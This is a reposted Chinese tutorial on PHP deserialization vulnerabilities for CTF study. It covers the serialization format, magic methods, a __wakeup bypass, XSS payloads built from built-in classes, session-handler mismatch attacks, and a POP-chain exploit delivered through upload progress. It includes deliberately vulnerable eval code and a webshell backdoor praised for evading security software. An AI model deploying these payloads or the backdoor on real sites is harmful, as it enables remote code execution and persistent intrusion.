PHP序列化反序列化漏洞总结(一篇懂)


转自whoami大佬的文章https://blog.csdn.net/qq_45521281/article/details/105891381,写的较为详细,故保存至博客内

序列化和反序列化的概念与基础知识

序列化就是将一个对象转换成字符串。字符串包括,属性名,属性值,属性类型和该对象对应的类名。
反序列化则相反将字符串重新恢复成对象

类型 过程
序列化 对象—> 字符串
反序列化 字符串—>对象

对象的序列化利于对象的 保存和传输 ,也可以让多个文件共享对象。ctf很多题型也都是考察PHP反序列化的相关知识。

PHP的序列化

序列化函数serialize()

首先我创一个Ctf类 里面写了三个属性 后创建了一个ctfer对象 将Ctf类里的信息进行了改变。如果后面还要用到这个对象,就可以先将这个对象进行实例化。用的时候在反序列化出来就ok了。

<?php
    class Ctf{
        public $flag='flag{****}';
        public $name='cxk';
        public $age='10';
    }
    $ctfer=new Ctf();     //实例化一个对象
    $ctfer->flag='flag{adedyui}';
    $ctfer->name='Sch0lar';
    $ctfer->age='18'
    echo serialize($ctfer);
?>
//输出结果
O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}
O代表对象,因为我们序列化的是一个对象;序列化数组的话则用A来表示
3代表类的名字长三个字符
Ctf 是类名
3代表这个类里有三个属性(三个变量)
s代表字符串
4代表属性名的长度
flag是属性名
s:13:"flag{adedyui}" 字符串,属性长度,属性值

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,__sleep()方法会先被调用,然后才执行序列化操作

可以在__sleep()方法里决定哪些属性可以被序列化。如果没有__sleep()方法则默认序列化所有属性

实例:

<?php
    class Ctf{
        public $flag='flag{****}';
        public $name='cxk';
        public $age='10';
        public function __sleep(){
            return array('flag','age');
        }
    }
    $ctfer=new Ctf();
    $ctfer->flag='flag{abedyui}';
    $ctfer->name='Sch0lar';
    $ctfer->age='18'
    echo serialize($ctfer);
?>
// 输出结果
O:3:"Ctf":2:{s:4:"flag";s:13:"flag{abedyui}";s:3:"age";s:2:"18";}

即__sleep()方法使 flag age 属性序列化,而name并没有被序列化。所以可以在__sleep()方法里决定哪些属性被序列化。

访问控制修饰符

根据访问控制修饰符的不同 序列化后的 属性长度属性值会有所不同,所以这里简单提一下

public(公有) 
protected(受保护)     // %00*%00属性名
private(私有的)       // %00类名%00属性名

protected属性被序列化的时候属性值会变成%00*%00属性名
private属性被序列化的时候属性值会变成%00类名%00属性名

(%00为空白符,空字符也有长度,一个空字符长度为 1)

实例:

<?php
    class Ctf{
        public $name='Sch0lar';
        protected $age='19';
        private $flag='get flag';
    }
    $ctfer=new Ctf();     //实例化一个对象
    echo serialize($ctfer);
?>
123456789
//输出结果
O:3:"Ctf":3:{s:4:"name";s:7:"Sch0lar";s:6:"*age";s:2:"19";s:9:"Ctfflag";s:8:"get flag";}

可以看到

s:6:"*age"   //*前后出现两个空白符,一个空白符长度为1,所以序列化后,该属性长度为6
s:9:"Ctfflag"   //类名Ctf前后出现两个%00空白符,所以长度为9

PHP的反序列化

反序列化函数unserialize()。反序列化就是将一个序列化了的对象或数组字符串,还原回去

<?php
    class Ctf{
        public $flag='flag{****}';
        public $name='cxk';
        public $age='10';
    }
    $ctfer=new Ctf();     //实例化一个对象
    $ctfer->flag='flag{adedyui}';
    $ctfer->name='Sch0lar';
    $ctfer->age='18'
    $str=serialize($ctfer);
    echo '<pre>';
    var_dump(unserialize($str))
?>

//输出结果
object(Ctf)#2 (3) {
    ["flag"]=>
    string(13) "flag{abedyui}"
    ["name"]=>
    string(7) "Sch0lar"
    ["age"]=>
    string(2) "18"
}

与序列化函数类似,unserialize()会检查类中是否存在一个__wakeup魔术方法
如果存在则会先调用__wakeup()方法,再进行序列化

可以在__wakeup()方法中对属性进行初始化、赋值或者改变。

<?php
    class Ctf{
        public $flag='flag{****}';
        public $name='cxk';
        public $age='10';
        public function __wakeup(){
            $this->flag='no flag';        //在反序列化时,flag属性将被改变为“no flag”
        }
    }
    $ctfer=new Ctf();     //实例化一个对象
    $ctfer->flag='flag{adedyui}';
    $ctfer->name='Sch0lar';
    $ctfer->age='18'

    $str=serialize($ctfer);
    echo '<pre>';
    var_dump(unserialize($str));
?>

反序列化之前重新给flag属性赋值

// 输出结果
object(Ctf)#2 (3) {
    ["flag"]=>
    string(13) "no flag"
    ["name"]=>
    string(7) "Sch0lar"
    ["age"]=>
    string(2) "18"
}

PHP反序列化漏洞(常规)

原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。

在反序列化的过程中自动触发了某些魔术方法。

漏洞触发条件: unserialize函数的参数、变量可控,php文件中存在可利用的类,类中有魔术方法

魔术方法:

__construct() 当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。

__destruct() 当一个对象销毁(反序列化)时被调用

__toString() 当一个对象被当作一个字符串使用时被调用

__sleep() 在对象在被序列化之前立即运行

__wakeup() 将在序列化之后立即被调用

而在反序列化时,如果反序列化对象中存在魔法函数,使用unserialize()函数同时也会触发。这样,一旦我们能够控制unserialize()入口,那么就可能引发对象注入漏洞。

__WAKEUP()

将在序列化之后立即被调用
当序列化字符串表示对象属性个数的数字值大于真实类中属性的个数时就会跳过__wakeup的执行。这个大家应该都知道很常见的姿势了。为了直观一点找了些考察反序列化的ctf。

实例:CTF
img
首先我们本地进行序列化后得到字符串:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

img
把1写成2 达到绕过wakeup()效果 拿到flag,这是因为当序列化字符串中表示对象属性个数的数字值大于真实类中属性的个数时就会跳过__wakeup的执行
img
图中序列化后字符串中表示对象属性个数为2,而真实的类中实际只有1个属性,这是就会跳过__wakeup的执行。

__DESTRUCT()

当一个对象被销毁时被调用

示例一:

<?php
class Example {
    var $var = '';
    function __destruct() {
        eval($this->var);
    }
}
unserialize($_GET['a']);
?> 

要让eval($this->var);执行我们的恶意代码,我们就需要修改属性$var的值。接下来构造序列化数据:

$obj = new Example();
$obj->var='phpinfo()';
var_dump(serialize($obj));

O:7:"Example":1:{s:3:"var";s:9:"phpinfo()";}

反序列化后在脚本运行结束时就会调用__destruct函数,同时会覆盖$var变量输出执行eval(phpinfo()):
在这里插入图片描述

示例二(连菜刀、反序列化免杀后门):

与上题原理相似

<?php
class A{
    var $test = "demo";
    function __destruct(){
        @eval($this->test);
    }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象,用我们POST传过去的命令代码字符串覆盖$test="demo",从而执行恶意命令。
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>

在这里插入图片描述
以上代码就相当于<?php @eval($_POST['test']);?>
直接菜刀链接:
在这里插入图片描述
在这里插入图片描述
安全狗:
在这里插入图片描述
此木马毕竟是跟正常文件太像,所以免杀效果很不错。

__TOSTRING()

本节围绕着一个问题,如果在代码审计中有反序列化点,但是在原本的代码中找不到pop链该如何? N1CTF有一个无pop链的反序列化的题目,其中就是找到php内置类来进行反序列化

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串。

__toString当对象被当作一个字符串使用时候调用(不仅仅是echo的时候,比如file_exists()判断也会触发)

ERROR类

适用于php7版本

Error类就是php的一个内置类,用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个toString的方法。如果有个pop链走到一半就走不通了,不如尝试利用这个来做一个xss,其实我看到的还是有好一些cms会选择直接使用echo 一个反序列化以后得到的类的写法,前文说了当对象被当作一个字符串使用时候调用(如echo的时候)会触发__toString方法,这是一种挖洞的新思路(对我而言)。

XSS
开启报错的情况下:
测试代码:

<?php
$a = unserialize($_GET['yds']);
echo $a;        // 这里echo了一个反序列化以后得到的类
?> 
仅看到是一个反序列化,但是不知道类啊,这就遇到了一个反序列化但没有pop链的情况,所以只能找到php内置类来进行反序列化

exp:

<?php
$a = new Error("<script>alert(1)</script>");
$b = serialize($a);
echo urlencode($b);  
?>

//得:O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D    这就是生成的 urlencode($b)

则在URL中令
/?yds=O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

成功插入xss
在这里插入图片描述
并成功alert
在这里插入图片描述

EXCEPTION

适用于php5、7版本

这个类利用的方式和原理和Error 类一模一样,但是适用于php5和php7,相对之下更加好用。

XSS
开启报错的情况下:
测试代码:

<?php
$a = unserialize($_GET['yds']);
echo $a;       // 这里echo了一个反序列化以后得到的类
?> 
仅看到是一个反序列化,但是不知道类啊,这就遇到了一个反序列化但没有pop链的情况,所以只能找到php内置类来进行反序列化          

exp:

<?php
$a = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($a));
?>
//得:O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
echo unserialize($c);

则我们在url中令:
/?yds=O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
在这里插入图片描述
并成功alert
在这里插入图片描述

PHP中SESSION反序列化(重点)

简介与基础知识

在php.ini中存在三项配置项:

  • session.save_path="" –设置session的存储路径
  • session.save_handler=""设定用户自定义session存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
  • session.auto_start boolen –指定会话模块是否在请求开始时启动一个会话,默认为0不启动
  • session.serialize_handler string定义用来序列化/反序列化的处理器名字。默认使用php (php<5.5.4)

以上的选项就是与PHP中的Session 存储 和 序列化存储 有关的选项。

在使用xampp组件安装中,上述的配置项的设置如下:

  • session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下
  • session.save_handler=files 表明session是以文件的方式来进行存储的
  • session.auto_start=0 表明默认不启动session
  • session.serialize_handler=php 表明session的默认序列化引擎使用的是php序列话引擎

在上述的配置中,session.serialize_handler是用来设置session的序列化引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

引擎 session存储方式
php(php<5.5.4) 存储方式是,键名+竖线`
php_serialize(php>5.5.4) 存储方式是,经过serialize()函数序列化处理的键和值(将session中的key和value都会进行序列化)
php_binary 存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

在PHP (php<5.5.4) 中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎名');进行设置。

示例代码如下:

<?php
ini_set('session.serialize_handler', 'php_serialize');   //设置序列化引擎使用php_serialize
session_start();
// do something
......

存储机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid(PHPSESSID)来进行命名的,文件的内容就是session值经过serialize()函数序列化之后的内容。

假设我们的环境是xampp,那么默认配置如上所述。

在默认配置情况下(在php引擎下:):

<?php
session_start()      // session_start()会创建新会话或者重用现有会话
$_SESSION['name'] = 'spoock';
var_dump();
?>

最后的session的存储和显示如下:
在这里插入图片描述
可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2,所以在xampp/tmp下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2,文件的内容是name|s:6:"spoock"; 。name是键值,s:6:"spoock";serialize("spoock")的结果(php引擎方式存储:键名+竖线 |+经过serialize()函数序列处理的值)。

在php_serialize引擎下:

<?php
ini_set('session.serialize_handler', 'php_serialize');   // 设置序列化引擎使用php_serialize
session_start();       // 启动新会话或者重用现有会话 
$_SESSION['name'] = 'spoock';  
var_dump();
?>

SESSION文件的内容是a:1:{s:4:"name";s:6:"spoock";} 。a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key(键)和value(值)都会进行序列化

在php_binary引擎下:
存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>

SESSION文件的内容是names:6:"spoock"; 。由于name的长度是4,4在ASCII表中对应的就是EOT(这个)。根据php_binary的存储规则,最后就是names:6:"spoock"; 。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)

SESSION序列化漏洞利用

<?php
class syclover{
 var $func="";
 function __construct() {     // __construct()在实例化是被调用
  $this->func = "phpinfo()";
 }
 function __wakeup(){
  eval($this->func);
 }
}
unserialize($_GET['a']);
?>

在11行对传入的参数进行了反序列化。我们可以通过传入一个特定的字符串,反序列化为syclover的一个示例,那么就可以执行eval()方法。我们访问localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}
那么反序列化得到的内容是:

object(syclover)[1]
 public 'func' => string 'echo "spoock";' (length=14)

最后页面输出的就是spoock,说明最后执行了我们定义的echo “spoock”;方法。这就是一个简单的序列化的漏洞的演示

PHP SESSION中的序列化危害

PHP中的Session的实现是没有的问题的,危害主要是由于程序员的Session使用不当而引起的。
如果设置的session序列化选择器与默认的不同的话就可能会产生漏洞(会导致数据无法正确的反序列化)。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

$_SESSION['spoock'] = '|O:11:"PeopleClass":0:{}';

上述的$_SESSION的数据如果使用php_serialize,那么最后的存储的内容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}

但是我们在进行读取的时候,如果选择的是php,那么最后读取的内容是:

array (size=1)
 'a:1:{s:6:"spoock";s:24:"' => 
 object(__PHP_Incomplete_Class)[1]
 public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

这是因为当使用php引擎的时候,php引擎会以竖杠 | 作为作为key(键)和value(值)的分隔符,那么就会将a:1:{s:6:“spoock”;s:24:”作为SESSION的key(键),将O:11:“PeopleClass”:0:{}作为value(值),然后进行反序列化,最后就会得到PeopleClas这个类。

这种由于序列化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

实际利用

存在s1.php和us2.php这两个文件,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞。

s1.php,使用php_serialize来处理session

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];

us2.php,使用php来处理session

ini_set('session.serialize_handler', 'php');`localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}`
session_start();
class lemon {
 var $hi;
 function __construct(){
 $this->hi = 'phpinfo();';
 }

 function __destruct() {
  eval($this->hi);
 }
}
// O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

此题在s1.php中有可以传入session的点,所以就不用构造表单了,这题的突破点在哪里,没错,就是我备注的那块s2.php中ini_set('session.serialize_handler', 'php');,选择session序列化处理器。

当访问s1.php时,提交如下的数据并存储到session文件中:

localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
1

此时传入的数据会按照php_serialize来进行序列化,由s2.php读取时按照php来反序列化。

O:5:“lemon”:1:{s:2:“hi”;s:14:“echo “spoock”;”;}由以下序列化来得到,在加上一个竖杠 |
就行了

<?php

class lemon
{
    public $hi='xxxxx';
}
$obj = new lemon();
echo serialize($obj);
?>
xxxxx处按照你想执行的代码来填写,这里填的是echo "spoock

此时访问us2.php时,页面输出,spoock成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。

CTF例题

在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下:
class.php

<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));   
//show_source(__FILE__);

class foo1{
 public $varr;
 function __construct(){
  $this->varr = "index.php";
 }
 function __destruct(){
  if(file_exists($this->varr)){
   echo "<br>文件".$this->varr."存在<br>";
  }
  echo "<br>这是foo1的析构函数<br>";
 }
}

class foo2{
 public $varr;
 public $obj;
 function __construct(){
  $this->varr = '1234567890';
  $this->obj = null;
 }
 function __toString(){     // 类被当作字符串时被调用
  $this->obj->execute();
  return $this->varr;
 }
 function __desctuct(){
  echo "<br>这是foo2的析构函数<br>";
 }
}

class foo3{
 public $varr;
 function execute(){
  eval($this->varr);
 }
 function __desctuct(){
  echo "<br>这是foo3的析构函数<br>";
 }
}

?>

index.php

<?php
ini_set('session.serialize_handler', 'php');
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>
1234567

通过代码发现,我们最终是要通过foo3中的execute()来执行我们自定义的函数。
那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:
myindex.php

<?php
class foo3{
 public $varr='echo "spoock";';
 function execute(){
  eval($this->varr);
 }
}

class foo2{
 public $varr;
 public $obj;
 function __construct(){
  $this->varr = '1234567890';
  $this->obj = new foo3();
 }
 function __toString(){
  $this->obj->execute();     // 此时obj是foo3的一个实例对象
  return $this->varr;
 }
}

class foo1{
 public $varr;
 function __construct(){
  $this->varr = new foo2();    // 此时varr是foo2的一个实例对象
 }
}
// 这样通过在这两个类中分别实例化下一个类中的对象,将三个类衔接起来了
$obj = new foo1();
print_r(serialize($obj));
?>

在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo “spoock”。最终得到的序列化的值是

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}

这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo “spoock”;的方法了。因为题中session_start();表示创建或重用已有的session,我们把存在漏洞的session写入到服务器端,然后再访问服务器的index.php,index.php会重用服务器中那个已有的存在漏洞的session。

此题没有可以反序列化的点,没有可以传入session的点,那么我们怎么改变或传入session呢。写入的方式主要是利用PHP中Session Upload Progress来进行设置,具体为,在上传文件时,如果同时POST一个与与INI中PHP_SESSION_UPLOAD_PROGRESS同名的变量,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据,即就可以将filename的值赋值到session中,所以可以通过Session Upload Progress来设置session。由phpinfo()页面知,session.upload_progress.enabled为On,那么上传的页面的写法如下:

<form action="http://xxxxxx:port/index.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
 <input type="file" name="file" />
 <input type="submit" />
</form>

利用前面的html页面随便上传一个东西,抓包,在包中把filename改为如下:

|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}}

为防止转义,在引号前加上反斜杠\。最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。
注意与本地反序列化不一样的地方是要在最前方加上| ,因为这是php引擎的格式。

参考:https://www.jb51.net/article/107101.htm


文章作者: lijunliang
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 lijunliang !
评论
  目录